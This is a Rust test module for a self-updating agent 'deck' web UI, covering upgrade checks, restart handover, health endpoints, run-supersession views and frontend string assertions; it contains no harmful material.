9981 assert!(should_spawn_recheck(&crate::config::Update {
9982 mode: UpdateMode::Notify,
9983 interval: None,
9984 }));
9985 }
9986
9987 #[test]
9993 fn recheck_poll_period_tracks_a_short_configured_interval() {
9994 let short = crate::config::Update {
9995 mode: UpdateMode::Notify,
9996 interval: Some("1m".to_owned()),
9997 };
9998 let period = recheck_poll_period(&short);
9999 assert!(
10000 period <= Duration::from_secs(30),
10001 "a one-minute interval must wake the task far sooner than the \
10002 default ceiling, or the deck would not notice within the \
10003 interval the operator configured: got {period:?}"
10004 );
10005
10006 let default = crate::config::Update {
10007 mode: UpdateMode::Notify,
10008 interval: None,
10009 };
10010 assert_eq!(
10011 recheck_poll_period(&default),
10012 UPDATE_RECHECK_POLL_MAX,
10013 "the default day-long interval should poll at the (capped) \
10014 ceiling rather than needlessly often"
10015 );
10016 }
10017
10018 #[test]
10026 fn recheck_skips_the_network_before_the_interval_elapses() {
10027 let dir = TempDir::new().expect("temp dir");
10028 let path = dir.path().join("state.json");
10029 let state = kaishin::UpdateCheckState {
10030 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
10031 last_known_latest: None,
10032 last_known_url: None,
10033 };
10034 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
10035
10036 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
10037 assert!(
10038 !update_recheck_due(&checker, None),
10039 "a check made moments ago must not be repeated before the \
10040 configured interval elapses"
10041 );
10042 }
10043
10044 #[test]
10050 fn recheck_defers_to_an_upgrade_already_in_flight() {
10051 let dir = TempDir::new().expect("temp dir");
10052 let path = dir.path().join("state.json");
10053 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
10054 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
10055
10056 assert!(
10057 !update_recheck_due(&checker, Some(&progress)),
10058 "a recheck must not run while an upgrade this deck started is \
10059 still moving"
10060 );
10061 }
10062
10063 #[tokio::test]
10064 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
10065 unsafe {
10077 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
10078 }
10079 let fx = Fixture::start().await;
10080 let res = fx.post("/api/upgrade", None).await;
10081 unsafe {
10082 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
10083 }
10084 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
10085 let body = res.json();
10086 assert!(body["to"].is_null(), "there was no release to move to");
10087 assert!(body["parked"].is_null(), "and nothing was parked");
10088 assert!(
10089 body["detail"]
10090 .as_str()
10091 .unwrap()
10092 .contains("disabled by MAGI_NO_AUTOUPDATE"),
10093 "{body:?}"
10094 );
10095 }
10096
10097 #[tokio::test]
10098 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
10099 let repo = TempDir::new().expect("repo dir");
10115 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
10116 .expect("write magi.toml");
10117 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
10118
10119 let res = fx.post("/api/upgrade", None).await;
10125 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
10126 let body = res.json();
10127 assert!(body["to"].is_null(), "there was no release to move to");
10128 assert!(body["parked"].is_null(), "and nothing was parked");
10129 assert!(
10130 body["detail"]
10131 .as_str()
10132 .unwrap()
10133 .contains("nothing restarted"),
10134 "{body:?}"
10135 );
10136 }
10137
10138 #[tokio::test]
10139 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
10140 let repo = TempDir::new().expect("repo dir");
10145 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
10146 .expect("write magi.toml");
10147 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
10148
10149 let health = fx.get("/api/health").await.json();
10150 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
10151 assert_eq!(
10152 health["update"]["available"], false,
10153 "checking is off, which reads as \"unknown\", not \"none\""
10154 );
10155 assert!(health["update"]["to"].is_null());
10156 assert!(
10157 health["upgrade"].is_null(),
10158 "nothing has ever asked this deck to upgrade"
10159 );
10160 }
10161
10162 #[tokio::test]
10163 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
10164 let fx = Fixture::start().await;
10165 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
10166
10167 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
10168 progress.parked_run = Some("20260905-000000-cd51".to_owned());
10169 progress.advance(crate::updater::Stage::Parking);
10170 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
10171
10172 let health = fx.get("/api/health").await.json();
10173 assert_eq!(health["upgrade"]["stage"], "parking");
10174 assert_eq!(health["upgrade"]["from"], "0.5.1");
10175 assert_eq!(health["upgrade"]["to"], "0.5.2");
10176 let waiting_on = health["upgrade"]["waiting_on"]
10177 .as_str()
10178 .expect("waiting_on is set while parking a known run");
10179 assert!(waiting_on.contains("cd51"), "{waiting_on}");
10180 assert!(waiting_on.contains("implementing"), "{waiting_on}");
10181 }
10182
10183 #[tokio::test]
10184 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
10185 let fx = Fixture::start().await;
10186 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
10187 progress.advance(crate::updater::Stage::Done);
10188 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
10189
10190 let health = fx.get("/api/health").await.json();
10191 assert_eq!(health["upgrade"]["stage"], "done");
10192 assert!(
10193 health["upgrade"]["waiting_on"].is_null(),
10194 "nothing to wait on once it is done"
10195 );
10196 }
10197
10198 #[tokio::test]
10199 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
10200 let home = TempDir::new().expect("temp home");
10201 let runs = home.path().join("runs");
10202 std::fs::create_dir_all(&runs).expect("runs dir");
10203 let ui = Ui::new(
10204 Queue::at(home.path().join("queue")),
10205 Questions::at(home.path().join("questions")),
10206 Talks::at(home.path().join("talks")),
10207 runs,
10208 home.path().to_path_buf(),
10209 PathBuf::from("/repo/magi"),
10210 )
10211 .with_launch(launch_idle);
10212 let looping = ui.looping();
10213 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10214 .await
10215 .expect("bind loopback");
10216 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10217
10218 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
10219 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
10220
10221 hand_over(home.path(), &looping, served, |_| Ok(()))
10222 .await
10223 .expect("hand over");
10224
10225 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
10226 assert_eq!(
10227 after.stage,
10228 crate::updater::Stage::Restarting,
10229 "hand_over owns the record through parking and up to restarting; \
10230 the successor is what finishes it"
10231 );
10232 }
10233
10234 fn idle_ui(home: &TempDir) -> Ui {
10235 let runs = home.path().join("runs");
10236 std::fs::create_dir_all(&runs).expect("runs dir");
10237 Ui::new(
10238 Queue::at(home.path().join("queue")),
10239 Questions::at(home.path().join("questions")),
10240 Talks::at(home.path().join("talks")),
10241 runs,
10242 home.path().to_path_buf(),
10243 PathBuf::from("/repo/magi"),
10244 )
10245 .with_launch(launch_idle)
10246 }
10247
10248 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
10250 let looping = ui.looping();
10251 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10252 .await
10253 .expect("bind loopback");
10254 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10255 let told = std::sync::Mutex::new(None);
10256 hand_over(home.path(), &looping, served, |resume| {
10257 *told.lock().unwrap() = Some(resume);
10258 Ok(())
10259 })
10260 .await
10261 .expect("hand over");
10262 told.into_inner().unwrap().expect("successor was started")
10263 }
10264
10265 #[tokio::test]
10266 async fn a_running_loop_is_resumed_by_the_successor() {
10267 let home = TempDir::new().expect("temp home");
10268 let ui = idle_ui(&home);
10269 ui.start_loop(None).expect("start");
10270 ui.park_for_upgrade().expect("park");
10271 for _ in 0..500 {
10273 if !ui.loop_view(None).running {
10274 break;
10275 }
10276 tokio::time::sleep(Duration::from_millis(2)).await;
10277 }
10278 assert!(handed_over(&home, ui).await, "a running loop must resume");
10279
10280 let successor = idle_ui(&home);
10281 assert!(!successor.loop_view(None).running);
10282 assert!(successor.resume_after_handover(true));
10283 assert!(successor.loop_view(None).running);
10284 successor.stop_loop(None, false).expect("stop");
10285 }
10286
10287 #[tokio::test]
10288 async fn a_second_upgrade_request_keeps_the_resume_intent() {
10289 let home = TempDir::new().expect("temp home");
10290 let ui = idle_ui(&home);
10291 ui.start_loop(None).expect("start");
10292 ui.park_for_upgrade().expect("first park");
10293 ui.park_for_upgrade().expect("second park");
10294 assert!(handed_over(&home, ui).await);
10295 }
10296
10297 #[tokio::test]
10298 async fn a_stop_during_the_handover_wait_is_honoured() {
10299 let home = TempDir::new().expect("temp home");
10300 let ui = idle_ui(&home);
10301 ui.start_loop(None).expect("start");
10302 ui.park_for_upgrade().expect("park");
10303 ui.stop_loop(None, false).expect("stop");
10304 assert!(!handed_over(&home, ui).await);
10305 }
10306
10307 #[tokio::test]
10308 async fn an_idle_loop_stays_stopped_across_the_handover() {
10309 let home = TempDir::new().expect("temp home");
10310 let ui = idle_ui(&home);
10311 ui.park_for_upgrade().expect("park");
10312 assert!(!handed_over(&home, ui).await);
10313
10314 let successor = idle_ui(&home);
10315 assert!(!successor.resume_after_handover(false));
10316 assert!(!successor.loop_view(None).running);
10317 }
10318
10319 #[tokio::test]
10320 async fn a_loop_the_operator_stopped_is_not_resumed() {
10321 let home = TempDir::new().expect("temp home");
10322 let ui = idle_ui(&home);
10323 ui.start_loop(None).expect("start");
10324 ui.stop_loop(None, false).expect("stop");
10325 ui.park_for_upgrade().expect("park");
10326 assert!(!handed_over(&home, ui).await);
10327 }
10328
10329 #[test]
10330 fn only_an_explicit_one_requests_a_resume() {
10331 assert!(!resume_requested(None));
10332 assert!(!resume_requested(Some("0".into())));
10333 assert!(!resume_requested(Some("".into())));
10334 assert!(resume_requested(Some("1".into())));
10335 }
10336
10337 #[test]
10338 fn the_upgrade_button_arms_before_it_restarts_anything() {
10339 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
10342 assert!(APP_JS.contains("Replace the binary and restart?"));
10343 assert!(APP_JS.contains("function confirmed("));
10344 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
10349 assert!(
10353 APP_JS.contains("Parking, then restarting"),
10354 "the button says what it is waiting for"
10355 );
10356 assert!(APP_JS.contains("if (!out.to)"));
10359 }
10360
10361 #[test]
10362 fn stopping_the_loop_arms_but_starting_does_not() {
10363 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
10366 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
10367 assert!(APP_JS.contains("confirmed(button, question)"));
10368 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
10371 assert!(APP_JS.contains("const label = btn.textContent;"));
10372 assert!(!APP_JS.contains("Neither direction is guarded"));
10373 }
10374
10375 #[test]
10376 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
10377 assert!(
10378 APP_JS.contains("state.health.version"),
10379 "the operator wants to know what is running even with nothing newer"
10380 );
10381 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
10382 }
10383
10384 #[test]
10385 fn the_upgrade_button_names_its_destination() {
10386 assert!(
10387 APP_JS.contains("`Update to ${update.to}`"),
10388 "pressing the button should not be a surprise about what it moves to"
10389 );
10390 }
10391
10392 #[test]
10393 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
10394 for stage in ["downloading", "replaced", "parking", "restarting"] {
10395 assert!(
10396 APP_JS.contains(&format!("\"{stage}\"")),
10397 "the phone must be able to tell {stage} apart from the others"
10398 );
10399 }
10400 assert!(APP_JS.contains(".waiting_on"));
10401 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
10406 assert!(APP_JS.contains("reconnects on its own"));
10407 }
10408
10409 #[test]
10410 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
10411 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
10420 ..APP_JS.find("function upgrade(").expect("upgrade")];
10421 assert!(
10422 !body.contains(
10423 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
10424 ),
10425 "a failed upgrade must not take the whole strip over the way it used to"
10426 );
10427 assert!(
10428 body.contains("upgradeFailNote"),
10429 "the failure has to reach the loop's own note instead"
10430 );
10431 assert_eq!(
10435 body.matches("upgradeFailNote].filter(Boolean).join")
10436 .count(),
10437 2,
10438 "both loop-why writers (quiet and control) must fold the note in"
10439 );
10440 }
10441
10442 #[test]
10443 fn an_overdue_upgrade_eventually_asks_for_a_human() {
10444 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
10447 assert!(APP_JS.contains("function upgradeOverdue("));
10448 }
10449
10450 #[test]
10451 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
10452 assert!(
10453 APP_JS.contains("Updated to ${upgradeInfo.to"),
10454 "the operator who asked for the restart wants to know it worked"
10455 );
10456 }
10457
10458 #[test]
10459 fn an_error_is_visible_from_where_the_button_is() {
10460 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
10465 ..APP_CSS.find(".alert-text").expect(".alert-text")];
10466 assert!(
10467 alert.contains("position: fixed"),
10468 "an error about the thing under your thumb has to be visible from \
10469 where your thumb is: {alert}"
10470 );
10471 assert!(
10472 alert.contains("z-index: 25"),
10473 "above the dock (20) and the run-actions FAB (15), so neither \
10474 buries it: {alert}"
10475 );
10476 assert!(
10477 alert.contains("var(--tap)"),
10478 "and clear of the dock and the home indicator: {alert}"
10479 );
10480 assert!(
10483 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
10484 "the FAB's column stays free: {alert}"
10485 );
10486 }
10487
10488 #[tokio::test]
10489 async fn an_older_attempt_says_what_replaced_it() {
10490 let fx = Fixture::start().await;
10491 let q = fx.queue();
10492 let runs = fx.runs();
10493 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
10494 write_run(&runs, first, RunStatus::Stalled);
10495 write_run(&runs, second, RunStatus::Blocked);
10496
10497 let mut t = Task::new(
10498 "one task".to_owned(),
10499 "do it".to_owned(),
10500 PathBuf::from("/repo"),
10501 Source::Human,
10502 );
10503 t.runs = vec![first.to_owned(), second.to_owned()];
10504 q.put(&mut t).expect("put");
10505
10506 let rows = fx.get("/api/runs").await.json();
10510 let by = |short: &str| -> Value {
10511 rows.as_array()
10512 .unwrap()
10513 .iter()
10514 .find(|r| r["short"] == short)
10515 .cloned()
10516 .unwrap_or(Value::Null)
10517 };
10518 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
10519 assert!(
10520 by("bbbb")["superseded_by"].is_null(),
10521 "the latest attempt is not superseded by anything"
10522 );
10523 assert!(APP_JS.contains("run.superseded_by"));
10525 assert!(APP_JS.contains("Superseded by"));
10526 }
10527
10528 #[tokio::test]
10529 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
10530 let fx = Fixture::start().await;
10535 let q = fx.queue();
10536 let runs = fx.runs();
10537 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
10538 write_run(&runs, first, RunStatus::Blocked);
10539 write_run(&runs, second, RunStatus::Merged);
10540
10541 let mut t = Task::new(
10542 "one task".to_owned(),
10543 "do it".to_owned(),
10544 PathBuf::from("/repo"),
10545 Source::Human,
10546 );
10547 t.runs = vec![first.to_owned(), second.to_owned()];
10548 q.put(&mut t).expect("put");
10549
10550 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
10551 assert_eq!(earlier["superseded_by"], "dddd");
10552 assert_eq!(earlier["latest_attempt"]["id"], second);
10553 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
10554 assert_eq!(
10555 earlier["latest_attempt"]["resolved"], true,
10556 "the run that replaced it landed, so this one reads as settled"
10557 );
10558
10559 let later = fx.get(&format!("/api/runs/{second}")).await.json();
10560 assert!(
10561 later["superseded_by"].is_null(),
10562 "the latest attempt is not superseded by anything"
10563 );
10564 assert!(
10565 later["latest_attempt"].is_null(),
10566 "the latest attempt has no later attempt of its own"
10567 );
10568
10569 assert!(APP_JS.contains("run.latest_attempt"));
10576 assert!(APP_JS.contains("data-superseded"));
10577 assert!(APP_JS.contains("#/runs/${latest.id}"));
10578 }
10579
10580 #[tokio::test]
10581 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
10582 let fx = Fixture::start().await;
10588 let q = fx.queue();
10589 let runs = fx.runs();
10590 let (a, b, c) = (
10591 "20260901-000000-aaaa",
10592 "20260901-000000-bbbb",
10593 "20260901-000000-cccc",
10594 );
10595 write_run(&runs, a, RunStatus::Blocked);
10596 write_run(&runs, b, RunStatus::Blocked);
10597 write_run(&runs, c, RunStatus::Merged);
10598
10599 let mut t = Task::new(
10600 "retried twice".to_owned(),
10601 "do it".to_owned(),
10602 PathBuf::from("/repo"),
10603 Source::Human,
10604 );
10605 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
10606 q.put(&mut t).expect("put");
10607
10608 let view = fx.get(&format!("/api/runs/{a}")).await.json();
10609 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
10610 assert_eq!(
10611 view["latest_attempt"]["id"], c,
10612 "the chain's current head, not the intermediate Blocked retry"
10613 );
10614 assert_eq!(view["latest_attempt"]["resolved"], true);
10615
10616 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
10617 assert_eq!(mid["latest_attempt"]["id"], c);
10618 assert_eq!(mid["latest_attempt"]["resolved"], true);
10619 }
10620
10621 #[tokio::test]
10622 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
10623 let fx = Fixture::start().await;
10624 let q = fx.queue();
10625 let runs = fx.runs();
10626
10627 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
10630 write_run(&runs, still_blocked_a, RunStatus::Blocked);
10631 write_run(&runs, still_blocked_b, RunStatus::Blocked);
10632 let mut t1 = Task::new(
10633 "still stuck".to_owned(),
10634 "do it".to_owned(),
10635 PathBuf::from("/repo"),
10636 Source::Human,
10637 );
10638 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
10639 q.put(&mut t1).expect("put");
10640 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
10641 assert_eq!(view1["latest_attempt"]["resolved"], false);
10642
10643 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
10648 write_run(&runs, noop_a, RunStatus::Blocked);
10649 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
10650 let mut t2 = Task::new(
10651 "claims done".to_owned(),
10652 "do it".to_owned(),
10653 PathBuf::from("/repo"),
10654 Source::Human,
10655 );
10656 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
10657 q.put(&mut t2).expect("put");
10658 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
10659 assert_eq!(
10660 view2["latest_attempt"]["resolved"], false,
10661 "an unverified no-op claim must not read as a confirmed finish"
10662 );
10663
10664 assert!(APP_JS.contains("latest.resolved"));
10667 }
10668
10669 #[tokio::test]
10670 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
10671 let fx = Fixture::start().await;
10672 let js = fx.get("/app.js").await;
10678 assert_eq!(js.status, 200);
10679 let tag = js
10680 .header("etag")
10681 .expect("an etag to revalidate against")
10682 .to_owned();
10683 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
10684 assert_eq!(
10685 js.header("cache-control"),
10686 Some("no-cache, must-revalidate"),
10687 "the phone has to ask every time"
10688 );
10689
10690 let again = fx
10693 .get_with("/app.js", &[("if-none-match", tag.as_str())])
10694 .await;
10695 assert_eq!(
10696 again.status, 304,
10697 "a deck it already has costs one round trip"
10698 );
10699 assert!(again.body.is_empty(), "304 carries no body");
10700
10701 let weak = fx
10704 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
10705 .await;
10706 assert_eq!(weak.status, 304);
10707 let stale = fx
10708 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
10709 .await;
10710 assert_eq!(stale.status, 200, "an older build must be replaced");
10711 assert!(stale.body.contains("renderRunActions"));
10712 }
10713
10714 #[test]
10715 fn the_deck_never_sends_the_operator_to_a_terminal() {
10716 assert!(
10719 !APP_JS.contains("Run `magi fold` first"),
10720 "the deck must offer the fold, not prescribe a shell command"
10721 );
10722 assert!(APP_JS.contains("foldRun:"));
10723 assert!(APP_JS.contains("resumeRun:"));
10724 assert!(APP_JS.contains("renderRunActions"));
10725
10726 assert!(APP_JS.contains("armedFold"));
10728 assert!(APP_JS.contains("Yes, fold worktrees"));
10729
10730 assert!(APP_JS.contains("can no longer be resumed"));
10733 }
10734
10735 #[test]
10736 fn a_finished_run_explains_itself_with_its_own_last_line() {
10737 assert!(
10743 !APP_JS.contains("collapsed on agent quota"),
10744 "a stall must not be explained by a cause the deck did not check"
10745 );
10746 assert!(
10747 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
10748 "and a block must not offer a guess with an `or` in it"
10749 );
10750
10751 assert!(
10755 APP_JS.contains("setText(r.event, run.event || \"\")"),
10756 "the run's last line is rendered unconditionally"
10757 );
10758 assert!(
10759 !APP_JS.contains("moving && run.event"),
10760 "and never gated on the run still moving"
10761 );
10762
10763 assert!(APP_JS.contains("lost to quota"));
10765 }
10766
10767 #[test]
10789 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
10790 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
10791 let shapes_body_start =
10792 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
10793 let shapes_close = APP_JS[shapes_body_start..]
10794 .find("].map(")
10795 .expect("the shape list is closed by its done-computing .map(...)")
10796 + shapes_body_start;
10797 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
10798
10799 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
10800 for entry in shapes_src.split('{').skip(1) {
10801 let waiting = entry.contains("waiting: true");
10802 let dead = entry.contains("live: \"dead\"");
10803 let status_at =
10804 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
10805 let status_end = entry[status_at..]
10806 .find('"')
10807 .expect("the status string is closed")
10808 + status_at;
10809 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
10810 }
10811 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
10812
10813 let done_rule_marker = "done: !";
10817 let done_rule_at = APP_JS[shapes_close..]
10818 .find(done_rule_marker)
10819 .expect("the done rule follows the shape list")
10820 + shapes_close
10821 + done_rule_marker.len();
10822 let includes_at = APP_JS[done_rule_at..]
10823 .find(".includes(shape.status)")
10824 .expect("the done rule ends in .includes(shape.status)")
10825 + done_rule_at;
10826 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
10827 .trim()
10828 .trim_start_matches('[')
10829 .trim_end_matches(']')
10830 .split(',')
10831 .map(|s| s.trim().trim_matches('"'))
10832 .filter(|s| !s.is_empty())
10833 .collect();
10834
10835 let shapes: Vec<(bool, String, bool, bool)> = shapes
10836 .into_iter()
10837 .map(|(waiting, status, dead)| {
10838 let done = !not_done.contains(&status.as_str());
10839 (waiting, status, dead, done)
10840 })
10841 .collect();
10842
10843 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
10847 if waiting {
10848 return "waiting";
10849 }
10850 if dead
10851 && !matches!(
10852 status,
10853 "merged"
10854 | "ready"
10855 | "stalled"
10856 | "blocked"
10857 | "failed"
10858 | "verified_noop"
10859 | "superseded"
10860 )
10861 {
10862 return "stale";
10863 }
10864 match status {
10865 "merged" | "ready" => "landed",
10866 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded" => "ended",
10867 _ => "flight",
10868 }
10869 }
10870
10871 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
10874 match filter_key {
10875 "active" => !done,
10876 "flight" => !done && !waiting && !dead,
10877 "stale" => !done && !waiting && dead,
10878 "waiting" => waiting,
10879 "done" => done,
10880 "all" => true,
10881 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
10882 }
10883 }
10884
10885 let compatible = |section: &str, filter_key: &str| {
10886 shapes.iter().any(|(waiting, status, dead, done)| {
10887 run_section(*waiting, status, *dead) == section
10888 && filter_matches(filter_key, *waiting, *dead, *done)
10889 })
10890 };
10891
10892 let expected = [
10897 ("waiting", [true, false, false, true, true, true]),
10898 ("stale", [true, false, true, false, false, true]),
10899 ("flight", [true, true, false, false, false, true]),
10900 ("landed", [false, false, false, false, true, true]),
10901 ("ended", [false, false, false, false, true, true]),
10902 ];
10903 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
10904
10905 for (section, wants) in expected {
10906 for (filter_key, want) in filter_keys.iter().zip(wants) {
10907 assert_eq!(
10908 compatible(section, filter_key),
10909 want,
10910 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
10911 );
10912 }
10913 }
10914
10915 assert!(
10918 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
10919 );
10920 assert!(APP_JS.contains(
10921 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
10922 ));
10923 assert!(APP_JS.contains(
10924 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
10925 ));
10926 }
10927
10928 #[tokio::test]
10929 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
10930 let dir = tempfile::tempdir().expect("tempdir");
10934 let explicit = dir.path().join("not-a-checkout");
10935 std::fs::create_dir_all(&explicit).expect("create dir");
10936 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
10937
10938 let missing = dir.path().join("does-not-exist-at-all");
10939 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
10940 }
10941}